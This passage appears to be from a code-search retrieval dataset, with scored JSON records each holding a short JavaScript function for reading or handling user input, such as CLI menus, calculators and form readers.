err;\n\t\t\t\t\tconsole.table(res);\n\t\t\t\t\tconnection.end();\n\t\t\t\t})\n\t\t\t\tbreak;\n\n\n\t\t\tcase 'Create New Department':\n\t\t\t\tinquirer.prompt([{\n\t\t\t\t\tname: 'newDeptName',\n\t\t\t\t\ttype: 'input',\n\t\t\t\t\tmessage: 'Enter new department name',\n\t\t\t\t}, {\n\t\t\t\t\tname: 'ohCost',\n\t\t\t\t\ttype: 'input',\n\t\t\t\t\tmessage: 'Enter Overhead Cost',\n\t\t\t\t\tvalidate: function(answer) {\n\t\t\t\t\t\tif(answer > 0 ) {\n\t\t\t\t\t\t\treturn true;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}]).then(function(answer) {\n\t\t\t\t\t\tvar deptName = answer.newDeptName.toUpperCase();\n\t\t\t\t\t\tvar query = 'INSERT INTO departments SET DepartmentName = ?, OverHeadCosts = ?'\n\t\t\t\t\t\tconnection.query(query, [deptName, answer.ohCost], function(err, res) {\n\t\t\t\t\t\t\tif(err)throw err;\n\t\t\t\t\t\t\tconsole.log('department added');\n\t\t\t\t\t\t})\n\t\t\t\t\t\tconnection.end();\n\t\t\t})\n\n\t\t\t\tbreak;\n\t\t}\n\t})\n}", "title": "" }, { "docid": "9ef1369bd8346bb09c2c843ce20cb7ac", "score": "0.56355506", "text": "function input() {\n rl.question(\"Panjang sisi: \", (x) => {\n \n if (!isNaN(x) ) {\n console.log(`\\n Kubus: ${cubeFormula(x)}`);\n rl.close();\n } else {\n console.log(`sisi harus angka\\n`);\n input();\n }\n \n });\n}", "title": "" }, { "docid": "18d9394b9c9c7210b427816b05b2a4a8", "score": "0.5606024", "text": "function prox(){\n //varrer os inputs e armazenar em object\n console.log('bt proximo clicado');\n}", "title": "" }, { "docid": "728a8d9880007878322c998b27b19cea", "score": "0.5600712", "text": "function input () {\r\n m1 = inputNumber(ip1,0,true,0,1000)/1000; // Masse des Gleiters (kg)\r\n m2 = inputNumber(ip2,1,true,0,100)/1000; // Masse des Wägestücks (kg)\r\n my = inputNumber(ip3,3,true,0,1); // Reibungszahl\r\n }", "title": "" }, { "docid": "89b85e36e7cd370f1d73df2eccd61c7e", "score": "0.55900705", "text": "function UserInputs(action, input) {\n switch (action) {\n case \"concert-this\":\n runBandsInTown(input);\n fixString(input)\n break;\n case \"spotify-this-song\":\n runSpotify(input);\n fixString(input)\n break;\n case \"movie-this\":\n runOmdb(input);\n fixString(input)\n break;\n case \"do-what-it-says\":\n runRandom(input);\n break;\n default:\n console.log(\"\\n--------------------------------------------------------\");\n console.log(\n \"Please enter a valid argument, such as:\\n\\nnode liri.js movie-this [MOVIE TITLE]\\n\\nnode liri.js spotify-this-song [SONG TITLE]\\n\\nnode liri.js concert-this [ARTIST NAME]\\n\\nnode liri.js do-what-it-says\"\n );\n console.log(\n \"--------------------------------------------------------\\n\\n\"\n );\n }\n}", "title": "" }, { "docid": "ca8e35029ce8ffc9261fca086f43e46a", "score": "0.5531488", "text": "function TemplateInput() {}", "title": "" }, { "docid": "dbac128dfde15f95337c400d538baf20", "score": "0.5466437", "text": "function loadInput(_x,_x2,_x3,_x4,_x5){return _loadInput.apply(this,arguments);}", "title": "" }, { "docid": "70f58b51deb5075d13f9fdbd77f13982", "score": "0.54470724", "text": "parseInput(args) {\n let validArgs = {\n a: 'add',\n add: 'add',\n l: 'list',\n list: 'list',\n d: 'delete',\n delete: 'delete',\n u: 'update',\n update: 'update',\n };\n\n let allCommands = Object.keys(args);\n let command = allCommands.filter(arg => validArgs[arg])[0];\n\n return {\n action: validArgs[command],\n payload: typeof args[command] === 'string' ? args[command] : undefined,\n category: args.category,\n text: args.text,\n };\n }", "title": "" }, { "docid": "c81424570f3af5254d7851d44cd4b8f4", "score": "0.5431701", "text": "function parseInputs () {\n // Distribution selects\n for (let g = 0; g < species.length; g++) {\n let specie = species[g]\n for (let stage = 0; stage < Object.keys(treeMap[specie]).length; stage++) {\n let id = '#dist-' + specie + '-' + stage\n o.distribution[specie][stage] = parseFloat($(id).val())\n }\n }\n\n // Other settings\n for (var i = 0; i < settings.length; i++) {\n const setting = settings[i]\n let val = $('#' + setting).val()\n if (!isNaN(o[setting])) { val = parseFloat(val) }\n o[setting] = val\n }\n}", "title": "" }, { "docid": "882ab227222b351f5e3f7d7541780d00", "score": "0.54164624", "text": "function keyboardInputs(obj,input) {\n switch (input) {\n case \"1\":\n case \"2\": \n case \"3\":\n case \"4\":\n case \"5\":\n case \"6\":\n case \"7\":\n case \"8\":\n case \"9\":\n case \"0\":inputHandling(obj,input);\n break;\n case\"+\":\n case\"-\":\n case\"*\":\n case\"/\":\n case\"%\":operatorHandling(obj,input);\n break;\n case\"Enter\":\n case\"=\":equalsHandling(obj);\n break;\n case\"Backspace\":backspaceHandling(obj);\n break;\n case\".\":dotHandling(obj);\n break;\n default:break;\n }\n}", "title": "" }, { "docid": "3792a731f4550b1cc4d7a2a03c67eb58", "score": "0.5392092", "text": "function processInput() {\r\n let construction = $(\"#opaqueThick\").val();\r\n let constructionType = $(\"#insulationOptions option:selected\").val();\r\n let window = $(\"#windowSlider\").val();\r\n let chapters = $(\"#chapters\").val()\r\n \r\n\r\n draw(construction, window);\r\n opaqueThick(construction, constructionType);\r\n calculateOutputBoxes(construction, window);\r\n concept();\r\n\r\n \r\n\r\n}", "title": "" }, { "docid": "218598e35ba80c69ee50713525c42a9a", "score": "0.53628486", "text": "prepare(){\n this.input.prepare();\n }", "title": "" }, { "docid": "f674020f231b5ba5046b18e02c9bf4b3", "score": "0.53605247", "text": "handleAllInputs() {\r\n this.limitInputTo(this.inputBill, 99999);\r\n this.limitInputTo(this.inputCustom, 100);\r\n this.limitInputTo(this.inputPeople, 100);\r\n }", "title": "" }, { "docid": "2e034ebc5d2566ce1381ecf539fc60f4", "score": "0.5356272", "text": "get numberOfInputs() {return 0}", "title": "" }, { "docid": "b22d53686499bc73af415a90e8d9ed33", "score": "0.5354806", "text": "enterSingle_input(ctx) {\n\t}", "title": "" }, { "docid": "659a4f9058f6c6c50af8330dd8b67b0b", "score": "0.53509724", "text": "function defineInputs() {\r\n\r\n\tsteerYes = filterRadios[0];\r\n\tsteerNo = filterRadios[1];\r\n\tsteerBoth = filterRadios[2];\r\n\r\n\tbrakeYes = filterRadios[3];\r\n\tbrakeNo = filterRadios[4];\r\n\tbrakeBoth = filterRadios[5];\r\n\r\n\tABS_Yes = filterRadios[6];\r\n\tABS_No = filterRadios[7];\r\n\tABS_Both = filterRadios[8];\r\n\r\n\tTC_Yes = filterRadios[9];\r\n\tTC_No = filterRadios[10];\r\n\tTC_Both = filterRadios[11];\r\n\r\n\tSC_Yes = filterRadios[12];\r\n\tSC_No = filterRadios[13];\r\n\tSC_Both = filterRadios[14];\r\n\r\n\tnoDamageYes = filterRadios[15];\r\n\tnoDamageNo = filterRadios[16];\r\n\tnoDamageBoth = filterRadios[17];\r\n\r\n\tgearYes = filterRadios[18];\r\n\tgearNo = filterRadios[19];\r\n\tgearBoth = filterRadios[20];\r\n\r\n\tclutchYes = filterRadios[21];\r\n\tclutchNo = filterRadios[22];\r\n\tclutchBoth = filterRadios[23];\r\n\t\r\n\tlineYes = filterRadios[24];\r\n\tlineNo = filterRadios[25];\r\n\tlineBoth = filterRadios[26];\r\n\r\n\t\r\n\tsetupDefault = filterCheckboxes[0];\r\n\tsetupCustom = filterCheckboxes[1];\r\n\r\n\tcontrolWheel = filterCheckboxes[2];\r\n\tcontrolPad = filterCheckboxes[3];\r\n\tcontrolKeyboard = filterCheckboxes[4];\r\n\r\n\tcameraIn = filterCheckboxes[5];\r\n\tcameraOut = filterCheckboxes[6];\r\n}", "title": "" }, { "docid": "74b320a24e55c67b3fbf1fc39632d0d4", "score": "0.53473395", "text": "function numeroPulsado(numero) {//controlar varios puntos\n //lineaInputText1 += numero;//cambiar lineaInputText por ta1.value\n return numero;\n}", "title": "" }, { "docid": "8180d08ace834ec488300b402a512498", "score": "0.533989", "text": "function input(){\n console.log('Enter 1 to DIPOSIT.\\nEnter 2 to WITHDRAW.\\nEnter 3 to CHECK BALANCE.',\n '\\nEnter 4 to ADD someone to queue',\n '\\nEnter 5 to see the LENGTH of the queue\\nEnter 6 to Exit the process');\n rl.question('Enter option: ', function(i){\n try{\n if(isNaN(i)||i==''||parseInt(i)<0||i%1!=0)\n throw 'try again and enter a valid input '\n switch (parseInt(i)) {\n case 1:deposit(input); \n break;\n case 2:withdraw(input);\n break;\n case 3:console.log('our balance is: ',bal);\n input();\n break;\n case 4:queue.push(1);\n console.log('new length of the queue: ',queue.size);\n input();\n break;\n case 5:console.log('length of the queue: ',queue.size);\n input();\n break;\n case 6: rl.close();\n process.exit(0);\n break;\n default:console.log('please enter a valid input.');\n input();\n break;\n }\n }catch(err){\n console.log(err);\n input();\n }\n });\n }", "title": "" }, { "docid": "2afc447b314447afd4da2acbcdd24228", "score": "0.532458", "text": "function inputSetup() {\n nameInpX = windowWidth / 2 - 240;\n nounInpX = windowWidth / 2 - 65.5;\n adjInpX = windowWidth / 2 + 127;\n //name\n nameInput = createInput('');\n nameInput.size(inpW, inpH);\n // nameInput.position(nameInpX, inpY);\n nameInput.id('name');\n nameInput.changed(updateName);\n //what do you like\n nounInput = createInput('');\n nounInput.size(inpW, inpH);\n nounInput.position(nounInpX, inpY);\n //describe yourself\n adjInput = createInput('');\n adjInput.size(inpW, inpH);\n adjInput.position(adjInpX, inpY);\n}", "title": "" }, { "docid": "a687766e9bb3c60d267e79e393fbdfeb", "score": "0.53191096", "text": "receiveInput(input) {\n input = input.toString();\n if (input.length > 2) {\n throw new Error(\"Invalid input received\");\n } else if (Calc._isNumberInput(input)) {\n this._handleNumberInput(input);\n } else if (Calc._isEqualInput(input)) {\n this._handleEqual();\n } else if (Calc._isResetInput(input)) {\n this._handleReset();\n } else if (Calc._isOperationInput(input)) {\n this._handleOperationInput(input);\n } else {\n throw new Error(\"Invalid input received\");\n }\n }", "title": "" }, { "docid": "8868bbe6927803000248a396da8938e7", "score": "0.53179485", "text": "function lireInput ()\n{\n\tobjetLongueur = document.getElementById(\"longueur\");\n\tobjetLargeur = document.getElementById(\"largeur\");\n\tobjetHauteur = document.getElementById(\"hauteur\");\n\n\ttexteLongueur = objetLongueur.value;\n\ttexteLargeur = objetLargeur.value;\n\ttexteHauteur = objetHauteur.value;\n\n\tnombreLongueur = parseFloat(texteLongueur);\n\tnombreLargeur = parseFloat(texteLargeur);\n\tnombreHauteur = parseFloat(texteHauteur);\n\n}", "title": "" }, { "docid": "c84e552b1a769f1027df32d017e1f209", "score": "0.53158706", "text": "function reaction() {\n input(); // Aceptar valores ingresados ​​(posiblemente corregidos)\n calculation(); // cálculos\n}", "title": "" }, { "docid": "915e6113c24f9c1890dc53838f3b585c", "score": "0.5311719", "text": "function getInput(){\n\n investmentValue = document.getElementById(\"number-1\").value;\n percentage = document.getElementById(\"number-2\").value;\n years = document.getElementById(\"number-3\").value;\n\t compound = document.getElementById(\"number-4\").value;\n\t additionalInvestment= document.getElementById(\"number-5\").value;\n }", "title": "" }, { "docid": "6e037a60fa762eaa578d9bb8486963a2", "score": "0.53032726", "text": "function crearNuevo(){\n let prodInputsValues = collectInputs(obtenerInputsIdsProducto());\n let tranInputsValues = collectInputs(obtenerInputsIdsTransaccion());\n \n if(nonEmptyFields([prodInputsValues[0],prodInputsValues[1],tranInputsValues[0],tranInputsValues[2],tranInputsValues[3],tranInputsValues[5]])){\n let producto = Producto.fromArray(prodInputsValues);\n let transaccion = Transaccion.fromArray(tranInputsValues); \n \n guardarProducto(producto, transaccion);\n mostrarListaProductos();\n }\n}", "title": "" }, { "docid": "6757ca11fa39c740ffe127a543144e2a", "score": "0.5292819", "text": "async function input() {\n console.log(qinicial1);\n console.log(qinicial2);\n if (nodes.get().length == 0) {\n plog.warn(\"Se intento evaluar sin haber algun automatas\");\n Swal.fire({\n icon: \"warning\",\n title: \"Error...\",\n text: \"Para realizar esta operacion se necesita crear automatas primero\"\n });\n return;\n }\n const inputOptions = new Promise(resolve => {\n setTimeout(() => {\n resolve({\n 1: \"1\",\n 2: \"2\"\n });\n }, 100);\n \n\n });\n const { value: opcion } = await Swal.fire({\n title: \"Elegir automata el cual se va evaluar:\",\n input: \"radio\",\n allowOutsideClick: false,\n inputOptions: inputOptions,\n showCancelButton: true,\n inputValidator: value => {\n if (!value) {\n return \"Seleccione automata para evaluar\";\n } else if (value == 1) {\n //var texto = input2();\n //alert(texto);\n //recorrer(qinicial1);\n } else if (value == 2) {\n //recorrer(qinicial2);\n }\n }\n });\n return opcion;\n \n}", "title": "" }, { "docid": "ed6b355ec9384403e1dd6472f1d83128", "score": "0.5289745", "text": "function process_input(key, transaction_hash, mode, product, quantity){\n return db.get_available_inputs(key, product)\n .then(function(inputs){\n var q_out = null;\n if(inputs == null){\n //No existe la entrada, se está utilizando producto que no posee\n //Marcar transacción erronea\n db.set_error(transaction_hash, product);\n }else{\n if(mode == 0)\n mix_product(inputs);\n if(quantity != null){\n while(quantity > 0 && inputs.length > 0){\n if (mode == 2) //stack\n el = inputs.length - 1;\n else\n el = 0;\n db.set_inputs(transaction_hash, inputs[el].t_hash, product)\n if (quantity < inputs[el].quantity){\n inputs[el].quantity -= quantity;\n quantity = 0;\n }else{\n quantity -= inputs[el].quantity;\n inputs.splice(el, 1);\n }\n }\n if(quantity > 0){\n //Está gastando más producto del que posee\n //Marcar transacción erronea\n db.set_error(transaction_hash, product);\n }\n }else{\n if (mode == 2) //stack\n el = inputs.length - 1;\n else\n el = 0;\n q_out = inputs[el].quantity;\n db.set_inputs(transaction_hash, inputs[el].t_hash, product)\n db.set_quantity(transaction_hash, product, q_out)\n inputs.splice(el, 1);\n }\n if (inputs.length > 0)\n db.update_available_inputs(key, product, inputs);\n else\n db.del_available_inputs(key, product);\n }\n return q_out;\n });\n}", "title": "" }, { "docid": "ba4a00de660e44dc3ca4bc702fee8fb0", "score": "0.52832794", "text": "function ttask(input) {\n\treturn input;\n}", "title": "" }, { "docid": "51e71acc3a48396489c2ce230158b64a", "score": "0.5282558", "text": "function processData(input) {\n var my_car = new Car(input[0], input[1], input[2])\n console.log(my_car.name);\n console.log(my_car.mileage);\n console.log(my_car.max_speed);\n}", "title": "" }, { "docid": "e3a52eed7f66cfaa09b0a8ba105f7f57", "score": "0.52809215", "text": "static SetInputs( inputs )\n {\n PlaybackInputs.INPUTS = inputs;\n }", "title": "" }, { "docid": "0cb18e923eb695e9995cee91caf0591a", "score": "0.5276844", "text": "function input () {\n alpha01 = inputNumber(ip1,1,true,-10,10)*DEG; // Anfangsposition von Pendel 1 (Bogenmaß)\n alpha02 = inputNumber(ip2,1,true,-10,10)*DEG; // Anfangsposition von Pendel 2 (Bogenmaß)\n }", "title": "" }, { "docid": "27797f625bf2ace11eda090dd5b7dabd", "score": "0.52742386", "text": "function input() {\n const inp = ifmt.selectedOptions[0].label\n const txt = itxt.value\n switch (inp) {\n case 'JSON':\n return cbor.encodeOne(JSON.parse(txt), {canonical: true})\n case 'hex':\n case 'base64':\n return Buffer.from(txt, inp)\n default:\n throw new Error(`Unknown input: \"${inp}\"`)\n }\n}", "title": "" }, { "docid": "4f15342c801a513e9998d4736124840f", "score": "0.5267105", "text": "function StdIn() {\r\n}", "title": "" }, { "docid": "fee7fc74235a56128feafc2dbac97344", "score": "0.52659285", "text": "function main() {\n// Main logic goes here, use it in any way you see fit, its up to you\n const x = readline();\n var line2 = readline(); \n let num=readline().split(' ').map(x=>parseInt(x)); // Incase the input line has a space seperated values, then each of them is seperated into diff. array elements, based on ' ' present between each array item.\n /* Or something like this were also possible\n num=parseInt(readline().split(' '));\n Also note that it is inside readline() that the input is accessed, however if due to some arrangement it was already provided to us via function argument, \n refer to TCS-UI-2020 file on how to handle i/o then.\n */\n \n foo(x);\n foo(line2);\n}", "title": "" }, { "docid": "89eb5986e9642cc11aa9028c53e39422", "score": "0.525377", "text": "getInputs( ugen ) {\n return ugen.inputs.map( gen.getInput ) \n }", "title": "" }, { "docid": "002680fe2166641e12f3c5077cd7c3b1", "score": "0.52515405", "text": "function TratarInput (jogador, anzol) {\n // A cada frame, zera a aceleração e depois cria novos valores de acordo com as teclas apertadas.\n anzol.body.acceleration.setTo (0,0);\n if(jogador.cima.isDown){\n anzol.body.acceleration.y = -velocidadeAnzolY;\n }\n if(jogador.baixo.isDown){\n anzol.body.acceleration.y = velocidadeAnzolY;\n }\n if(jogador.esquerda.isDown){\n anzol.body.acceleration.x = -velocidadeAnzolX;\n }\n if(jogador.direita.isDown){\n anzol.body.acceleration.x = velocidadeAnzolX;\n }\n // Caso a tecla de ação estiver apertada e o jogador estiver movendo-se para cima, deixamos ele subir mais rápido.\n anzol.body.maxVelocity.y = velocidadeMaxY;\n if(jogador.acao.isDown){\n anzol.body.maxVelocity.y = velocidadeMaxY * 4;\n anzol.body.acceleration.y = -velocidadeAnzolY * 4;\n }\n} // fim: TratarInput", "title": "" }, { "docid": "7dcce5b82587598df33f792fb7f8dcdb", "score": "0.52374345", "text": "function readInput() {\r\n\r\n let userStation = document.forms.search.station.value\r\n let userUntilDeparture = 0\r\n userUntilDeparture = document.forms.search.untilDeparture.value\r\n\r\n console.log(userStation)\r\n \r\n handleInput(userStation, userUntilDeparture)\r\n}", "title": "" }, { "docid": "60f22fbd9ceb2bc35d4c4e638807cd2b", "score": "0.52348274", "text": "function transferirDinero() {\n var montoATransferir = prompt(\"Ingrese el monto a transferir:\");\n if (saldoCuenta < montoATransferir) {\n alert(\"No puede transferirse esa cantidad de dinero.\");\n } else if ((montoATransferir <= 0) || (isNaN(montoATransferir))) {\n alert(\"el monto ingresado es inválido\");\n } else if (montoATransferir === null) {\n alert(\"No ingreso monto.\");\n } else {\n var cuentaATransferir = prompt(\"Ingrese su cuenta amiga:\");\n cuentaAmiga = parseInt(cuentaATransferir);\n if (cuentaAmiga === null || cuentaAmiga == false) {\n alert(\"No ingreso cuenta para la transferencia.\");\n } else if ((cuentaAmiga != cuentaAmiga1 && cuentaAmiga != cuentaAmiga2)||(cuentaATransferir != cuentaAmiga)) {\n alert(\"ingrese una cuenta amiga válida\");\n } else {\n restarDinero(montoATransferir);\n\n transferirACuentaAmiga(cuentaAmiga, montoATransferir);\n\n }\n }\n}", "title": "" }, { "docid": "b034c88dbe163c1f3dcf110a8618e8ee", "score": "0.52302814", "text": "function checkInput() {\n const ERR_MESS_SYNTAX = \"TODO: Bad Syntax\";\n const OUT_LIST = \"t ls\";\n const OUT_ADD = \"t a\";\n const OUT_CLEAR = \"clear\";\n const OUT_ADD_NUM = /^t do ([0-9]+)$/;\n const OUT_PRI = /^t p ([0-9] [A-Z])$/;\n var index;\n\n todocl.out.innerHTML = CLEAR;\n todocl.todoText = CLEAR;\n readFile(false);\n\n if (todocl.todoCommand === OUT_LIST) {\n readFile(true);\n } else if (todocl.todoCommand === OUT_ADD) {\n todocl.todoAdd = true;\n todocl.out.innerHTML = \"ADD\";\n } else if (todocl.todoCommand === OUT_CLEAR) {\n todocl.out.innerHTML = CLEAR;\n } else if (todocl.todoCommand.match(OUT_PRI)) {\n priTask(todocl.todoCommand.charAt(6), todocl.todoCommand.charAt(4));\n } else if (todocl.todoCommand.match(OUT_ADD_NUM)) {\n index = Number(todocl.todoCommand.charAt(5)) - 1;\n deleteTask(index);\n } else {\n todocl.out.innerHTML = ERR_MESS_SYNTAX;\n }\n }", "title": "" }, { "docid": "3273f9f116f407cb2ba2bc96c0c37f52", "score": "0.5229523", "text": "function getInput(i) {\n return process.argv[i + 2];\n}", "title": "" }, { "docid": "63563cb4d6ce3c48deebb616893a1cc8", "score": "0.52263105", "text": "function Input(){\n\tvar inputFields=$('[type=\"text\"]')\n\tfor(var i=0;i<inputFields.length;i++){\n\t\tinputFields[i].value=randomString({maxLen:30,minLen:1,charSet:nums.splice(centerKybd.splice(centerKybd.splice(centerKybd.splice(centerKybd)))),embed:''});\n\t}\n}", "title": "" }, { "docid": "166370a622bbb47ed7726e70ef44fe41", "score": "0.52185833", "text": "function makeInputs(arrayOfSigs) {\n const arrayOfRs = []\n const arrayOfSs = []\n const arrayOfVs = []\n const arrayOfHashes = []\n const tos = []\n const values = []\n const nonces = []\n\n\n\n for(let i = 0; i < arrayOfSigs.length; ++i ) {\n \n arrayOfRs.push(arrayOfSigs[i].r)\n arrayOfSs.push( arrayOfSigs[i].s)\n arrayOfVs.push(arrayOfSigs[i].v)\n arrayOfHashes.push(arrayOfSigs[i].hash)\n tos.push(arrayOfSigs[i].to)\n values.push(arrayOfSigs[i].value)\n nonces.push(arrayOfSigs[i].nonce)\n }\n\n console.log(arrayOfRs, arrayOfSs, arrayOfVs, arrayOfHashes, tos, values, nonces, arrayOfSigs[0].reward,arrayOfSigs[0].contractAddress, arrayOfSigs[0].chainId )\n}", "title": "" }, { "docid": "dda586f2e24c45acd9ec5233d3cd2650", "score": "0.5217175", "text": "function enterval() {\n var data = [[0, 0], [0, 0]];\n for (let i = 0; i < 2; i++) {\n var x = parseFloat(prompt(\"Enter magnitude of force \" + (i + 1)));\n check(x);\n data[i][0] = x;\n var y = parseFloat(prompt(\"Enter angle of force \" + (i + 1)));\n check(y);\n data[i][1] = y;\n }\n console.log(data);\n calc(data);\n}", "title": "" }, { "docid": "2dd15ce547677128060ba6066c48e056", "score": "0.5208422", "text": "function updateInputFromPipes(){\n if ($scope.pipes.query_type == 'simple'){\n updateInputForSimple();\n\n } else if ($scope.pipes.query_type == 'advanced'){\n updateInputForAdvanced();\n\n } else if ($scope.pipes.query_type == 'xpath'){\n updateInputForXPath();\n\n } else if ($scope.pipes.query_type == 'querybuilder'){\n updateInputForQueryBuilder();\n }\n }", "title": "" }, { "docid": "65d246063c2068d7b1fea956ea43f51b", "score": "0.5197594", "text": "setInputOrigin(inputKeys) {\n this.inputKeys = inputKeys;\n }", "title": "" }, { "docid": "708e579ad214772937396ec7e066adfa", "score": "0.5196425", "text": "function main() {\n celciusInput.addEventListener('input', celciusToFahrenheitAndKelvin);\n fahrenheitInput.addEventListener('input', fahrenheitToCelciusAndKelvin);\n kelvinInput.addEventListener('input', kelvinToCelciusAndFahrenheit); \n}", "title": "" }, { "docid": "58487404a806905ee1495e12844c1c46", "score": "0.5195588", "text": "function processInput() {\n // If we have input, use it to answer the current question\n var responseLength = surveyResponse.responses.length\n var currentQuestion = surveyData[responseLength];\n\n // if there's a problem with the input, we can re-ask the same question\n function reask() {\n cb.call(surveyResponse, null, surveyResponse, responseLength);\n }\n\n // If we have no input, ask the current question again\n if (!input) return reask();\n\n // Otherwise use the input to answer the current question\n var questionResponse = {};\n if (currentQuestion.type === 'boolean') {\n // Anything other than '1' or 'yes' is a false\n var isTrue = input === '1' || input.toLowerCase() === 'yes';\n questionResponse.answer = isTrue;\n } else if (currentQuestion.type === 'number') {\n // Try and cast to a Number\n var num = Number(input);\n if (isNaN(num)) {\n // don't update the survey response, return the same question\n return reask();\n } else {\n questionResponse.answer = num;\n }\n } else if(currentQuestion.type === 'text') {\n // input is a recording URL\n \n console.log('INPUT var is - '+JSON.stringify(input))\n // save the twilio recording to google bucket here such that it can be extracted by google speech later\n console.log('Before Speech to Text')\n console.log('Args - '+ JSON.stringify(args))\n\n // experiment \n questionResponse.recordingUrl = input;\n questionResponse.twilioanswer = input;\n \n // questionResponse.gcloudObj = 'gs://gspeech_api/REfbc3e8204b9ec865409e7c740a67a000';\n // Save type from question\n //questionResponse.type = currentQuestion.type;\n\n if(currentQuestion.text === 'State the amount to transfer ?'){\n web3.eth.getAccounts(function(err,accs){\n if(!err){\n\n \n console.log('Fetched accounts from localhost - '+accs)\n\n web3.eth.defaultAccount= accs[0];\n\n web3.eth.sendTransaction({\n from: accs[0],\n to: accs[1],\n value: web3.toWei('1')\n }, function(err,data){\n console.log('TX HASH - '+data)\n questionResponse.TxHash = data;\n surveyResponse.responses.push(questionResponse);\n\n // If new responses length is the length of survey, mark as done\n if (surveyResponse.responses.length === surveyData.length) {\n surveyResponse.complete = true;\n }\n console.log('Before Save')\n // Save response\n surveyResponse.save(function(err) {\n if (err) {\n reask();\n } else {\n cb.call(surveyResponse, err, surveyResponse, responseLength+1);\n }\n });\n })\n \n }\n else{\n console.log('Error getting the accounts from testrpc - '+err)\n \n }\n\n \n })\n } // only for question 3 perform blockchain Tx amd save the data\n\n if(currentQuestion.text !== 'State the amount to transfer ?'){\n surveyResponse.responses.push(questionResponse);\n\n // If new responses length is the length of survey, mark as done\n if (surveyResponse.responses.length === surveyData.length) {\n surveyResponse.complete = true;\n }\n\n // Save response\n surveyResponse.save(function(err) {\n if (err) {\n reask();\n } else {\n cb.call(surveyResponse, err, surveyResponse, responseLength+1);\n }\n });\n } // for other questions just save the data\n \n } \n\n \n }", "title": "" }, { "docid": "b22f83c8b94c02d4d87da1dd35e2bed2", "score": "0.5193028", "text": "function initInputs() {\n $('#wizard-body').find('input[type=\"text\"]').keydown(function (event) {\n if (event.which == 13) {\n event.preventDefault();\n $(this).blur();\n }\n });\n }", "title": "" }, { "docid": "74beba84f1df0bd35d2f150b90488f64", "score": "0.5187438", "text": "function input(x){\nconsole.log('running input')\n return x.split(\" \");\n}", "title": "" }, { "docid": "c4a8aee2b205b39b552765067ad09512", "score": "0.5186209", "text": "function takeInput() {\n\n // Asking the user if he's patient or User.\n r.question(\"Are you a\\n1. Patient or\\n2. User\\n\", function(ans1) {\n\n if (ans1.trim() == 1) {\n\n // If user enters 1, register the patient.\n registerPatient();\n } else {\n\n // If user enters 2, ask his purpose.\n purposeUser();\n }\n });\n}", "title": "" }, { "docid": "3cc1965404a9b17ab059d4962598a5a4", "score": "0.5184105", "text": "addToInputsLogic(input) {\n const lastIndex = (this.inputs.length - 1);\n\n\n // you can't add operation before digit\n if (\n this.operations.indexOf(this.inputs[lastIndex]) !== -1 &&\n this.operations.indexOf(input) !== -1\n ) {\n return;\n }\n\n if (this.operations.indexOf(input) !== -1) {\n // operation\n if (this.inputs[0] === '') {\n return;\n }\n this.addInput(input);\n } else if (this.operations.indexOf(this.inputs[lastIndex]) !== -1) {\n // first digit after operation\n this.floatNumber.resetInput();\n this.floatNumber.inputAction(input);\n this.addInput(this.floatNumber.getFloat());\n } else {\n // digits\n this.floatNumber.inputAction(input);\n this.inputs.splice(lastIndex, 1, this.floatNumber.getFloat());\n }\n }", "title": "" }, { "docid": "e99d687ab5c1b6693acd7b17d2fd6909", "score": "0.5177862", "text": "function userinput() {\n const questions = [\n {\n name: \"title\",\n type: \"input\",\n message: \"Please enter the title of your README\",\n },\n {\n name: \"description\",\n type: \"input\",\n message: \"Please enter a description for your README\",\n },\n \n {\n name: \"installation\",\n type: \"input\",\n message: \"Please enter a method of installation\",\n },\n {\n name: \"usage\",\n type: \"input\",\n message: \"Please specify usage\",\n },\n {\n name: \"license\",\n type: \"list\",\n message: \"Please enter license\",\n choices: [\"ISC\", \"MIT\"],\n },\n {\n name: \"contributing\",\n type: \"input\",\n message: \"Please enter contributing members\",\n },\n {\n name: \"tests\",\n type: \"input\",\n message: \"Please enter tests\",\n },\n {\n name: \"questions\",\n type: \"input\",\n message: \"Please enter questions\",\n },\n {\n name: \"githuburl\",\n type: \"input\",\n message: \"Please enter github username\",\n },\n {\n name: \"email\",\n type: \"input\",\n message: \"Please enter email\",\n },\n ];\n return inquirer.prompt(questions);\n }", "title": "" }, { "docid": "7e52d84a4f12c68cc64f675358ad14c1", "score": "0.5166783", "text": "function verifyInputs() {\n // Creacion de una expresion regular para verificar los inputs\n const reg = /^-?\\d+$/;\n\n // Verificacion de los inputs\n try {\n if (funcion === \"\") {\n throw new Error(\"Por favor escriba una función.\");\n }\n if (!reg.test(x_from)) {\n throw new Error(\n \"Por favor escriba un número entero en el valor de inicio de la integral.\"\n );\n }\n if (!reg.test(x_to)) {\n throw new Error(\n \"Por favor escriba un número entero en el valor final de la integral.\"\n );\n }\n if (!reg.test(cant_points)) {\n throw new Error(\n \"Por favor escriba un número entero para la cantidad de puntos a evaluar.\"\n );\n }\n } catch (error) {\n alert(error);\n return false;\n }\n\n // Pasar los inputs a integer\n x_from = parseInt(x_from);\n x_to = parseInt(x_to);\n cant_points = parseInt(cant_points);\n\n return true;\n }", "title": "" }, { "docid": "3f6d567671ca39667e8ba40a4524003f", "score": "0.516337", "text": "function payment()\n{\n var P=readline.question(\"enter the principal loan amount\");\n var Y=readline.question(\"enter the year\");\n var R=readline.question(\"enter the rate\");\n /*var P=+process.argv[2];\n var Y=+process.argv[3];\n var R=+process.argv[4];*/\n Util.payment(P,Y,R);\n}", "title": "" }, { "docid": "420ef0b5385667987bfce2cf70797e74", "score": "0.51510733", "text": "function init_inpt_formulario_cargar_recorrido() {\n // Inputs del formulario para inicializar\n}", "title": "" }, { "docid": "4556fec1d623684991a9fe445566798b", "score": "0.51440835", "text": "function setInput()\n{\n\tvar commande=\"\";\n\tfor(i=0;i<userpanier.length;i++){\n\t\tcommande+=`\n\t\t<input type=\"hidden\" name=\"idproduct`+i+`\" value=\"`+userpanier[i].id+`\"/>\n\t\t<input type=\"hidden\" name=\"qteproductqte`+i+`\" value=\"`+userpanier[i].qte+`\"/>\n\t\t<input type=\"hidden\" name=\"prixproduct`+i+`\" value=\"`+userpanier[i].prix+`\"/>`;\n\n\t}\n\n\tif(userpanier.length>0){\n\t\ttotal=calculertotal();\n\tcommande+=`\n\t\t<input type=\"hidden\" name=\"products\" value=\"`+userpanier.length+`\"/>\n\t\t<input type=\"hidden\" name=\"prixtotal\" value=\"`+total+`\"/>`;\n\t\t\n\t}\n\t\n (document.querySelector(\"#cmdvalider\")).innerHTML=commande;\n\n}", "title": "" }, { "docid": "1b9cc79a16336bd3dc3d3ac8687d9406", "score": "0.5141706", "text": "function 